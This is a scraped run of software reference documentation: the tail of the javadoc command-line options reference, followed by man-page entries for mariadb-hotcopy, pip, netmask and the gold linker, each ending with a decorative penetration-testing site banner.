Specifies where to find doclet class files (specified with the -doclet option) and any JAR files it depends on. If the starting class file is in a JAR file, then this option specifies the path to that JAR file. You can specify an absolute path or a path relative to the current directory. If classpathlist contains multiple paths or JAR files, then they should be separated with a colon (:) on Linux and a semi-colon (;) on Windows. This option isn’t necessary when the doclet starting class is already in the search path.

-exclude pkglist
Unconditionally, excludes the specified packages and their subpackages from the list formed by -subpackages. It excludes those packages even when they would otherwise be included by some earlier or later -subpackages option.

The following example would include java.io, java.util, and java.math (among others), but would exclude packages rooted at java.net and java.lang. Notice that these examples exclude java.lang.ref, which is a subpackage of java.lang.

  • Linux and OS X:

    javadoc -sourcepath /home/user/src -subpackages java -exclude java.net:java.lang

  • Windows:

    javadoc -sourcepath \user\src -subpackages java -exclude java.net:java.lang

--expand-requires value
Instructs the javadoc tool to expand the set of modules to be documented. By default, only the modules given explicitly on the command line are documented. Supports the following values:

  • transitive: additionally includes all the required transitive dependencies of those modules.

  • all: includes all dependencies.

**--help**, -help, -h, or -?
Prints a synopsis of the standard options.

--help-extra or -X
Prints a synopsis of the set of extra options.

****-Jflag
Passes flag directly to the Java Runtime Environment (JRE) that runs the javadoc tool. For example, if you must ensure that the system sets aside 32 MB of memory in which to process the generated documentation, then you would call the -Xmx option as follows: javadoc -J-Xmx32m -J-Xms32m com.mypackage. Be aware that -Xms is optional because it only sets the size of initial memory, which is useful when you know the minimum amount of memory required.

There is no space between the J and the flag.

Use the -version option to report the version of the JRE being used to run the javadoc tool.

javadoc -J-version
java version "10-ea" 2018-03-20
Java(TM) SE Runtime Environment 18.3 (build 10-ea+36)
Java HotSpot(TM) 64-Bit Server VM 18.3 (build 10-ea+36, mixed mode)

-locale name
Specifies the locale that the javadoc tool uses when it generates documentation. The argument is the name of the locale, as described in java.util.Locale documentation, such as en_US (English, United States) or en_US_WIN (Windows variant).

Note:

The -locale option must be placed ahead (to the left) of any options provided by the standard doclet or any other doclet. Otherwise, the navigation bars appear in English. This is the only command-line option that depends on order.

Specifying a locale causes the javadoc tool to choose the resource files of that locale for messages such as strings in the navigation bar, headings for lists and tables, help file contents, comments in the stylesheet.css file, and so on. It also specifies the sorting order for lists sorted alphabetically, and the sentence separator to determine the end of the first sentence. The -locale option doesn’t determine the locale of the documentation comment text specified in the source files of the documented classes.

-package
Shows only package, protected, and public classes and members.

-private
Shows all classes and members.

-protected
Shows only protected and public classes and members. This is the default.

-public
Shows only the public classes and members.

-quiet
Shuts off messages so that only the warnings and errors appear to make them easier to view. It also suppresses the version string.

--show-members value
Specifies which members (fields or methods) are documented, where value can be any of the following:

  • protected: The default value is protected.

  • public: Shows only public values.

  • package: Shows public, protected, and package members.

  • private: Shows all members.

--show-module-contents value
Specifies the documentation granularity of module declarations, where value can be api or all.

--show-packages value
Specifies which modules packages are documented, where value can be exported or all packages.

--show-types value
Specifies which types (classes, interfaces, etc.) are documented, where value can be any of the following:

  • protected: The default value. Shows public and protected types.

  • public: Shows only public values.

  • package: Shows public, protected, and package types.

  • private: Shows all types.

-subpackages subpkglist
Generates documentation from source files in the specified packages and recursively in their subpackages. This option is useful when adding new subpackages to the source code because they are automatically included. Each package argument is any top-level subpackage (such as java) or fully qualified package (such as javax.swing) that doesn’t need to contain source files. Arguments are separated by colons on all operating systems. Wild cards aren’t allowed. Use -sourcepath to specify where to find the packages. This option doesn’t process source files that are in the source tree but don’t belong to the packages.

For example, the following commands generates documentation for packages named java and javax.swing and all of their subpackages.

  • Linux and OS X:

    javadoc -d docs -sourcepath /home/user/src -subpackages java:javax.swing

  • Windows:

    javadoc -d docs -sourcepath \user\src -subpackages java:javax.swing

-verbose
Provides more detailed messages while the javadoc tool runs. Without the -verbose option, messages appear for loading the source files, generating the documentation (one message per source file), and sorting. The -verbose option causes the printing of additional messages that specify the number of milliseconds to parse each Java source file.

--version
Prints version information.

-Werror
Reports an error if any warnings occur.

EXTENDED OPTIONS

Note:

The extended options for javadoc are subject to change without notice.

The following extended javadoc options are equivalent to corresponding javac options. See Extra Options in javac for the detailed descriptions of using these options:

  • --add-exports

  • --add-reads

  • --patch-module

  • -Xmaxerrs

  • -Xmaxwarns

STANDARD DOCLET OPTIONS

The following options are provided by the standard doclet.

--add-stylesheet file
Adds additional stylesheet file for the generated documentation. This option can be used one or more times to specify additional stylesheets included in the documentation.

Command-line example:

javadoc --add-stylesheet new_stylesheet_1.css --add-stylesheet new_stylesheet_2.css pkg_foo

--allow-script-in-comments
Allow JavaScript in options and comments

-author
Includes the @author text in the generated docs.

-bottom html-code
Specifies the text to be placed at the bottom of each output file. The text is placed at the bottom of the page, underneath the lower navigation bar. The text can contain HTML tags and white space, but when it does, the text must be enclosed in quotation marks. Use escape characters for any internal quotation marks within text.

-charset name
Specifies the HTML character set for this document. The name should be a preferred MIME name as specified in the IANA Registry, Character Sets [http://www.iana.org/assignments/character-sets].

For example:

javadoc -charset "iso-8859-1" mypackage

This command inserts the following line in the head of every generated page:

<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">

The META tag is described in the HTML standard (4197265 and 4137321), HTML Document Representation [http://www.w3.org/TR/REC-html40/charset.html#h-5.2.2].

-d directory
Specifies the destination directory where the javadoc tool saves the generated HTML files. If you omit the -d option, then the files are saved to the current directory. The directory value can be absolute or relative to the current working directory. The destination directory is automatically created when the javadoc tool runs.

  • Linux and OS X: For example, the following command generates the documentation for the package com.mypackage and saves the results in the /user/doc/ directory:

    javadoc -d /user/doc/ com.mypackage

  • Windows: For example, the following command generates the documentation for the package com.mypackage and saves the results in the \user\doc\ directory:

    javadoc -d \user\doc\ com.mypackage

-docencoding name
Specifies the encoding of the generated HTML files. The name should be a preferred MIME name as specified in the IANA Registry, Character Sets [http://www.iana.org/assignments/character-sets].

Three options are available for use in a javadoc encoding command. The -encoding option is used for encoding the files read by the javadoc tool, while the -docencoding and -charset options are used for encoding the files written by the tool. Of the three available options, at most, only the input and an output encoding option are used in a single encoding command. If you specify both input and output encoding options in a command, they must be the same value. If you specify neither output option, it the tool defaults to the input encoding.

For example:

javadoc -docencoding "iso-8859-1" mypackage

-docfilessubdirs
Recursively copies doc-file subdirectories.

-doctitle html-code
Specifies the title to place near the top of the overview summary file. The text specified in the title tag is placed as a centered, level-one heading directly beneath the top navigation bar. The title tag can contain HTML tags and white space, but when it does, you must enclose the title in quotation marks. Additional quotation marks within the title tag must be escaped. For example, javadoc -doctitle "<b>My Library</b><br>v1.0" com.mypackage.

-excludedocfilessubdir name
Excludes any doc files sub directories with the given name. Enables deep copying of doc-files directories. Subdirectories and all contents are recursively copied to the destination. For example, the directory doc-files/example/images and all of its contents are copied. There is also an option to exclude subdirectories.

-footer html-code
Specifies the footer text to be placed at the bottom of each output file. The**html-code** value is placed to the right of the lower navigation bar. The html-code value can contain HTML tags and white space, but when it does, the html-code value must be enclosed in quotation marks. Use escape characters for any internal quotation marks within a footer.

-group namep1:p2
Group the specified packages together in the Overview page.

-header html-code
Specifies the header text to be placed at the top of each output file. The header is placed to the right of the upper navigation bar. The header can contain HTML tags and white space, but when it does, the header must be enclosed in quotation marks. Use escape characters for internal quotation marks within a header. For example, javadoc -header "<b>My Library</b><br>v1.0" com.mypackage.

-helpfile filename
Includes the file that links to the HELP link in the top and bottom navigation bars . Without this option, the javadoc tool creates a help file help-doc.html that is hard-coded in the javadoc tool. This option lets you override the default. The filename can be any name and isn’t restricted to help-doc.html. The javadoc tool adjusts the links in the navigation bar accordingly. For example:

  • Linux and OS X:

    javadoc -helpfile /home/user/myhelp.html java.awt.

  • Windows:

    javadoc -helpfile C:\user\myhelp.html java.awt.

-html5
This option is a no-op and is just retained for backwards compatibility.

--javafx or -javafx
Enables JavaFX functionality.

-keywords
Adds HTML keyword <META> tags to the generated file for each class. These tags can help search engines that look for <META> tags find the pages. Most search engines that search the entire Internet don’t look at <META> tags, because pages can misuse them. Search engines offered by companies that confine their searches to their own website can benefit by looking at <META> tags. The <META> tags include the fully qualified name of the class and the unqualified names of the fields and methods. Constructors aren’t included because they are identical to the class name. For example, the class String starts with these keywords:

<META NAME="keywords" CONTENT="java.lang.String class">
<META NAME="keywords" CONTENT="CASE_INSENSITIVE_ORDER">
<META NAME="keywords" CONTENT="length()">
<META NAME="keywords" CONTENT="charAt()">

-link url
Creates links to existing javadoc generated documentation of externally referenced classes. The url argument is the absolute or relative URL of the directory that contains the external javadoc generated documentation. You can specify multiple -link options in a specified javadoc tool run to link to multiple documents.

Either a package-list or an element-list file must be in this url directory (otherwise, use the -linkoffline option).

Note:

The package-list and element-list files are generated by the javadoc tool when generating the API documentation and should not be modified by the user.

When you use the javadoc tool to document packages, it uses the package-list file to determine the packages declared in an API. When you generate API documents for modules, the javadoc tool uses the element-list file to determine the modules and packages declared in an API.

The javadoc tool reads the names from the appropriate list file and then links to the packages or modules at that URL.

When the javadoc tool runs, the url value is copied into the <A HREF> links that are created. Therefore, url must be the URL to the directory and not to a file.

You can use an absolute link for url to enable your documents to link to a document on any web site, or you can use a relative link to link only to a relative location. If you use a relative link, then the value you pass in should be the relative path from the destination directory (specified with the -d option) to the directory containing the packages being linked to. When you specify an absolute link, you usually use an HTTP link. However, if you want to link to a file system that has no web server, then you can use a file link. Use a file link only when everyone who wants to access the generated documentation shares the same file system. In all cases, and on all operating systems, use a slash as the separator, whether the URL is absolute or relative, and https:, http:, or file: as specified in the URL Memo: Uniform Resource Locators [http://www.ietf.org/rfc/rfc1738.txt].

-link https://<host>/<directory>/<directory>/.../<name>
-link http://<host>/<directory>/<directory>/.../<name>
-link file://<host>/<directory>/<directory>/.../<name>
-link <directory>/<directory>/.../<name>

-linkoffline url1 url2
This option is a variation of the -link option. They both create links to javadoc generated documentation for externally referenced classes. You can specify multiple -linkoffline options in a specified javadoc tool run.

Use the -linkoffline option when:

  • Linking to a document on the web that the javadoc tool can’t access through a web connection

  • The package-list or element-list file of the external document either isn’t accessible or doesn’t exist at the URL location, but does exist at a different location and can be specified by either the package-list or element-list file (typically local).

Note:

The package-list and element-list files are generated by the javadoc tool when generating the API documentation and should not be modified by the user.

If url1 is accessible only on the World Wide Web, then the -linkoffline option removes the constraint that the javadoc tool must have a web connection to generate documentation.

Another use of the -linkoffline option is as a work-around to update documents. After you have run the javadoc tool on a full set of packages or modules, you can run the javadoc tool again on a smaller set of changed packages or modules, so that the updated files can be inserted back into the original set.

For example, the -linkoffline option takes two arguments. The first is for the string to be embedded in the <a href> links, and the second tells the javadoc tool where to find either the package-list or element-list file.

The url1 or url2 value is the absolute or relative URL of the directory that contains the external javadoc generated documentation that you want to link to. When relative, the value should be the relative path from the destination directory (specified with the -d option) to the root of the packages being linked to. See url in the -link option.

-linksource
Creates an HTML version of each source file (with line numbers) and adds links to them from the standard HTML documentation. Links are created for classes, interfaces, constructors, methods, and fields whose declarations are in a source file. Otherwise, links aren’t created, such as for default constructors and generated classes.

This option exposes all private implementation details in the included source files, including private classes, private fields, and the bodies of private methods, regardless of the -public, -package, -protected, and -private options. Unless you also use the -private option, not all private classes or interfaces are accessible through links.

Each link appears on the name of the identifier in its declaration. For example, the link to the source code of the Button class would be on the word Button:

public class Button extends Component implements Accessible

The link to the source code of the getLabel method in the Button class is on the word getLabel:

public String getLabel()

--main-stylesheet file or -stylesheetfile file
Specifies the path of an alternate stylesheet file that contains the definitions for the CSS styles used in the generated documentation. This option lets you override the default. If you do not specify the option, the javadoc tool will create and use a default stylesheet. The file name can be any name and isn’t restricted to stylesheet.css. The --main-stylesheet option is the preferred form.

Command-line example:

javadoc --main-stylesheet main_stylesheet.css pkg_foo

-nocomment
Suppresses the entire comment body, including the main description and all tags, and generate only declarations. This option lets you reuse source files that were originally intended for a different purpose so that you can produce skeleton HTML documentation during the early stages of a new project.

-nodeprecated
Prevents the generation of any deprecated API in the documentation. This does what the -nodeprecatedlist option does, and it doesn’t generate any deprecated API throughout the rest of the documentation. This is useful when writing code when you don’t want to be distracted by the deprecated code.

-nodeprecatedlist
Prevents the generation of the file that contains the list of deprecated APIs (deprecated-list.html) and the link in the navigation bar to that page. The javadoc tool continues to generate the deprecated API throughout the rest of the document. This is useful when your source code contains no deprecated APIs, and you want to make the navigation bar cleaner.

--no-frames
This option is a no-op and is just retained for backwards compatibility.

-nohelp
Omits the HELP link in the navigation bars at the top and bottom of each page of output.

-noindex
Omits the index from the generated documents. The index is produced by default.

-nonavbar
Prevents the generation of the navigation bar, header, and footer, that are usually found at the top and bottom of the generated pages. The -nonavbar option has no affect on the -bottom option. The -nonavbar option is useful when you are interested only in the content and have no need for navigation, such as when you are converting the files to PostScript or PDF for printing only.

-noqualifier name1:name2
Excludes the list of qualifiers from the output. The package name is removed from places where class or interface names appear.

The following example omits all package qualifiers: -noqualifier all.

The following example omits java.lang and java.io package qualifiers: -noqualifier java.lang:java.io.

The following example omits package qualifiers starting with java and com.sun subpackages, but not javax: -noqualifier java.*:com.sun.*.

Where a package qualifier would appear due to the previous behavior, the name can be suitably shortened. This rule is in effect whether or not the -noqualifier option is used.

-nosince
Omits from the generated documents the Since sections associated with the @since tags.

-notimestamp
Suppresses the time stamp, which is hidden in an HTML comment in the generated HTML near the top of each page. The -notimestamp option is useful when you want to run the javadoc tool on two source bases and get the differences between diff them, because it prevents time stamps from causing a diff (which would otherwise be a diff on every page). The time stamp includes the javadoc tool release number.

-notree
Omits the class and interface hierarchy pages from the generated documents. These are the pages you reach using the Tree button in the navigation bar. The hierarchy is produced by default.

--override-methods (detail|summary)
Documents overridden methods in the detail or summary sections.

-overview filename
Specifies that the javadoc tool should retrieve the text for the overview documentation from the source file specified by filename and place it on the Overview page (overview-summary.html). A relative path specified with the file name is relative to the current working directory.

While you can use any name you want for the filename value and place it anywhere you want for the path, it is typical to name it overview.html and place it in the source tree at the directory that contains the topmost package directories. In this location, no path is needed when documenting packages, because the -sourcepath option points to this file.

  • Linux and OS X: For example, if the source tree for the java.lang package is /src/classes/java/lang/, then you could place the overview file at /src/classes/overview.html.

  • Windows: For example, if the source tree for the java.lang package is **`\src

325 - Linux cli command mariadb-hotcopy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-hotcopy and provides detailed information about the command mariadb-hotcopy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-hotcopy.

NAME 🖥️ mariadb-hotcopy 🖥️

hotcopy - a database backup program (mysqlhotcopy is now a symlink to mariadb-hotcopy)

SYNOPSIS

mysqlhotcopy arguments

DESCRIPTION

mysqlhotcopy is a Perl script that was originally written and contributed by Tim Bunce. It uses FLUSH TABLES, LOCK TABLES, and cp or scp to make a database backup. It is a fast way to make a backup of the database or single tables, but it can be run only on the same machine where the database directories are located. mysqlhotcopy works only for backing up MyISAM and ARCHIVE tables. It runs on Unix and NetWare.

To use mysqlhotcopy, you must have read access to the files for the tables that you are backing up, the SELECT privilege for those tables, the RELOAD privilege (to be able to execute FLUSH TABLES), and the LOCK TABLES privilege (to be able to lock the tables).

shell> mysqlhotcopy db_name [/path/to/new_directory]

shell> mysqlhotcopy db_name_1 … db_name_n /path/to/new_directory

Back up tables in the given database that match a regular expression:

shell> mysqlhotcopy db_name./regex/

The regular expression for the table name can be negated by prefixing it with a tilde (“~”):

shell> mysqlhotcopy db_name./~regex/

mysqlhotcopy supports the following options, which can be specified on the command line or in the [mysqlhotcopy] and [client] option file groups.

·

–help, -?

Display a help message and exit.

·

–addtodest

Do not rename target directory (if it exists); merely add files to it.

·

–allowold

Do not abort if a target exists; rename it by adding an _old suffix.

·

**–checkpoint=db_name.**tbl_name

Insert checkpoint entries into the specified database db_name and table tbl_name.

·

**–chroot=**path

Base directory of the chroot jail in which mysqld operates. The path value should match that of the –chroot option given to mysqld.

·

–debug

Enable debug output.

·

–dryrun, -n

Report actions without performing them.

·

–flushlog

Flush logs after all tables are locked.

·

**–host=**host_name, -h host_name

The host name of the local host to use for making a TCP/IP connection to the local server. By default, the connection is made to localhost using a Unix socket file.

·

–keepold

Do not delete previous (renamed) target when done.

·

**–method=**command

The method for copying files (cp or scp). The default is cp.

·

–noindices

Do not include full index files for MyISAM tables in the backup. This makes the backup smaller and faster. The indexes for reloaded tables can be reconstructed later with myisamchk -rq.

·

–old-server

Connect to old MySQL-server (before v5.5) which doesn’t have FLUSH TABLES WITH READ LOCK fully implemented..

·

**–password=password, -ppassword

The password to use when connecting to the server. The password value is not optional for this option, unlike for other MariaDB programs.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use when connecting to the local server.

·

–quiet, -q

Be silent except for errors.

·

**–record_log_pos=db_name.**tbl_name

Record master and slave status in the specified database db_name and table tbl_name.

·

**–regexp=**expr

Copy all databases with names that match the given regular expression.

·

–resetmaster

Reset the binary log after locking all the tables.

·

–resetslave

Reset the master.info file after locking all the tables.

·

**–socket=**path, -S path

The Unix socket file to use for connections to localhost.

·

**–suffix=**str

The suffix to use for names of copied databases.

·

**–tmpdir=**path

The temporary directory. The default is /tmp.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

Use perldoc for additional mysqlhotcopy documentation, including information about the structure of the tables needed for the –checkpoint and –record_log_pos options:

shell> perldoc mysqlhotcopy

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

326 - Linux cli command pip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip and provides detailed information about the command pip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip.

NAME 🖥️ pip 🖥️

package manager for Python packages

SYNOPSIS

pip3 <command> [options]

DESCRIPTION

pip3 is the PyPA recommended package manager for Python packages

OPTIONS

-h, –help
Show help.

(environment variable: PIP_HELP)

–debug
Let unhandled exceptions propagate outside the main subroutine, instead of logging them to stderr.

(environment variable: PIP_DEBUG)

–isolated
Run pip in an isolated mode, ignoring environment variables and user configuration.

(environment variable: PIP_ISOLATED)

–require-virtualenv
Allow pip to only run in a virtual environment; exit with an error otherwise.

(environment variable: PIP_REQUIRE_VIRTUALENV, PIP_REQUIRE_VENV)

–python <python>
Run pip with the specified Python interpreter.

(environment variable: PIP_PYTHON)

-v, –verbose
Give more output. Option is additive, and can be used up to 3 times.

(environment variable: PIP_VERBOSE)

-V, –version
Show version and exit.

(environment variable: PIP_VERSION)

-q, –quiet
Give less output. Option is additive, and can be used up to 3 times (corresponding to WARNING, ERROR, and CRITICAL logging levels).

(environment variable: PIP_QUIET)

–log <path>
Path to a verbose appending log.

(environment variable: PIP_LOG, PIP_LOG_FILE, PIP_LOCAL_LOG)

–no-input
Disable prompting for input.

(environment variable: PIP_NO_INPUT)

–keyring-provider <keyring_provider>
Enable the credential lookup via the keyring library if user input is allowed. Specify which mechanism to use [disabled, import, subprocess]. (default: disabled)

(environment variable: PIP_KEYRING_PROVIDER)

–proxy <proxy>
Specify a proxy in the form scheme://[user:passwd@]proxy.server:port.

(environment variable: PIP_PROXY)

–retries <retries>
Maximum number of retries each connection should attempt (default 5 times).

(environment variable: PIP_RETRIES)

–timeout <sec>
Set the socket timeout (default 15 seconds).

(environment variable: PIP_TIMEOUT, PIP_DEFAULT_TIMEOUT)

–exists-action <action>
Default action when a path already exists: (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.

(environment variable: PIP_EXISTS_ACTION)

–trusted-host <hostname>
Mark this host or host:port pair as trusted, even though it does not have valid or any HTTPS.

(environment variable: PIP_TRUSTED_HOST)

–cert <path>
Path to PEM-encoded CA certificate bundle. If provided, overrides the default. See ‘SSL Certificate Verification’ in pip documentation for more information.

(environment variable: PIP_CERT)

–client-cert <path>
Path to SSL client certificate, a single file containing the private key and the certificate in PEM format.

(environment variable: PIP_CLIENT_CERT)

–cache-dir <dir>
Store the cache data in <dir>.

(environment variable: PIP_CACHE_DIR)

–no-cache-dir
Disable the cache.

(environment variable: PIP_NO_CACHE_DIR)

–disable-pip-version-check
Don’t periodically check PyPI to determine whether a new version of pip is available for download. Implied with –no-index.

(environment variable: PIP_DISABLE_PIP_VERSION_CHECK)

–no-color
Suppress colored output.

(environment variable: PIP_NO_COLOR)

–no-python-version-warning
Silence deprecation warnings for upcoming unsupported Pythons.

(environment variable: PIP_NO_PYTHON_VERSION_WARNING)

–use-feature <feature>
Enable new functionality, that may be backward incompatible.

(environment variable: PIP_USE_FEATURE)

–use-deprecated <feature>
Enable deprecated functionality, that will be removed in the future.

(environment variable: PIP_USE_DEPRECATED)

COMMANDS

pip3-install(1)
Install packages.

pip3-download(1)
Download packages.

pip3-uninstall(1)
Uninstall packages.

pip3-freeze(1)
Output installed packages in requirements format.

pip3-list(1)
List installed packages.

pip3-show(1)
Show information about installed packages.

pip3-check(1)
Verify installed packages have compatible dependencies.

pip3-search(1)
Search PyPI for packages.

pip3-wheel(1)
Build wheels from your requirements.

pip3-hash(1)
Compute hashes of package archives.

pip3-help(1)
Show help for pip commands.

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

327 - Linux cli command netmask

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command netmask and provides detailed information about the command netmask, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the netmask.

NAME 🖥️ netmask 🖥️

a netmask generation and conversion program

SYNOPSIS

netmask [ options ] spec [ spec … ]

DESCRIPTION

This program accepts and produces a variety of common network address and netmask formats. Not only can it convert address and netmask notations, but it will optimize the masks to generate the smallest list of rules. This is very handy if you’ve ever configured a firewall or router and some nasty network administrator before you decided that base 10 numbers were good places to start and end groups of machines.

OPTIONS

-h, –help
Print a summary of the options

-v, –version
Print the version number

-d, –debug
Print status/progress information

-s, –standard
Output address/netmask pairs

-c, –cidr
Output CIDR format address lists

-i, –cisco
Output Cisco style address lists

-r, –range
Output ip address ranges

-x, –hex
Output address/netmask pairs in hex

-o, –octal
Output address/netmask pairs in octal

-b, –binary
Output address/netmask pairs in binary

-n, –nodns
Disable DNS lookups for addresses

DEFINITIONS

A spec is an address specification, it can look like:

address
One address.

address1:address2
All addresses from address1 to address2.

address1:+address2
All addresses from address1 to address1+address2.

address/mask
A group starting at address spanning mask.

An address is an internet network address, it can look like:

ftp.gnu.org
An internet hostname.

209.81.8.252
A standard dotted quad internet address notation.

100
A decimal number (100 in this case).

0100
An octal number preceded by “0” (64 in this case).

0x100
A hexadecimal number preceded by “0x” (256 in this case).

A mask is a network mask, it can look like:

255.255.224.0
A dotted quad netmask (netmask will complain if it is not a valid netmask).

0.0.31.255
A Cisco style inverse netmask (with the same checks).

8
The number of bits set to one from the left (CIDR notation).

010
The number of bits set to one from the left in octal.

0x10
The number of bits set to one from the left in hexadecimal.

AUTHOR

netmask was written by Robert Stone. Some algorithm design and optimization was provided by Tom Lear. This manual page was written by Robert Stone.

BUGS

Let me know if you find any. This man page is a bit more simplistic than I’d like, but I’ve forgotten most of the groff I once knew.

SEE ALSO

ipchains(1), ipfwadm(8), netstat(8), route(8), routed(8), gated(8), tcpd(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

328 - Linux cli command x86_64-linux-gnu-ld.gold

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-ld.gold and provides detailed information about the command x86_64-linux-gnu-ld.gold, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-ld.gold.

NAME 🖥️ x86_64-linux-gnu-ld.gold 🖥️

The GNU ELF linker

SYNOPSIS

ld.gold [options] file

OPTIONS

–help
Report usage information

-v, –version
Report version information

-V
Report version and target information

–add-needed
Not supported

–no-add-needed
Do not copy DT_NEEDED tags from shared libraries (default)

–allow-multiple-definition Allow multiple definitions of symbols

–no-allow-multiple-definition
Do not allow multiple definitions (default)

–allow-shlib-undefined
Allow unresolved references in shared libraries

–no-allow-shlib-undefined
Do not allow unresolved references in shared libraries (default)

–apply-dynamic-relocs
Apply link-time values for dynamic relocations (default)

–no-apply-dynamic-relocs
(aarch64 only) Do not apply link-time values for dynamic relocations

–as-needed
Use DT_NEEDED only for shared libraries that are used

–no-as-needed
Use DT_NEEDED for all shared libraries (default)

-assert [ignored]
Ignored

-b [elf,binary], –format [elf,binary]
Set input format

–be8
Output BE8 format image

–build-id [=STYLE]
Generate build ID note

–build-id-chunk-size-for-treehash SIZE
Chunk size for ‘–build-id=tree’

–build-id-min-file-size-for-treehash SIZE
Minimum output file size for ‘–build-id=tree’ to work differently than ‘–build-id=sha1’

-Bdynamic -l searches for shared libraries (default)

-Bstatic -l does not search for shared libraries

-dy
alias for -Bdynamic (default)

-dn
alias for -Bstatic

-Bgroup
Use group name lookup rules for shared library

-Bshareable
Generate shared library (alias for -G/-shared)

-Bno-symbolic
Don’t bind default visibility defined symbols locally for -shared (default)

-Bsymbolic-functions
Bind default visibility defined function symbols locally for -shared

-Bsymbolic
Bind default visibility defined symbols locally for -shared

–check-sections
Check segment addresses for overlaps (default)

–no-check-sections
Do not check segment addresses for overlaps

–compress-debug-sections [none,zlib,zlib-gnu,zlib-gabi,zstd]
Compress .debug_* sections in the output file

–copy-dt-needed-entries
Not supported

–no-copy-dt-needed-entries Do not copy DT_NEEDED tags from shared libraries (default)

–cref
Output cross reference table

–no-cref
Do not output cross reference table (default)

–ctors-in-init-array
Use DT_INIT_ARRAY for all constructors (default)

–no-ctors-in-init-array
Handle constructors as directed by compiler

-d, –define-common
Define common symbols

–no-define-common
Do not define common symbols in relocatable output (default)

-dc
Alias for -d

-dp
Alias for -d

–debug [all,files,script,task][,…]
Turn on debugging

–defsym SYMBOL=EXPRESSION
Define a symbol

–demangle [=STYLE]
Demangle C++ symbols in log messages

–no-demangle
Do not demangle C++ symbols in log messages

–dependency-file FILE
Write a dependency file listing all files read

–detect-odr-violations
Look for violations of the C++ One Definition Rule

–no-detect-odr-violations
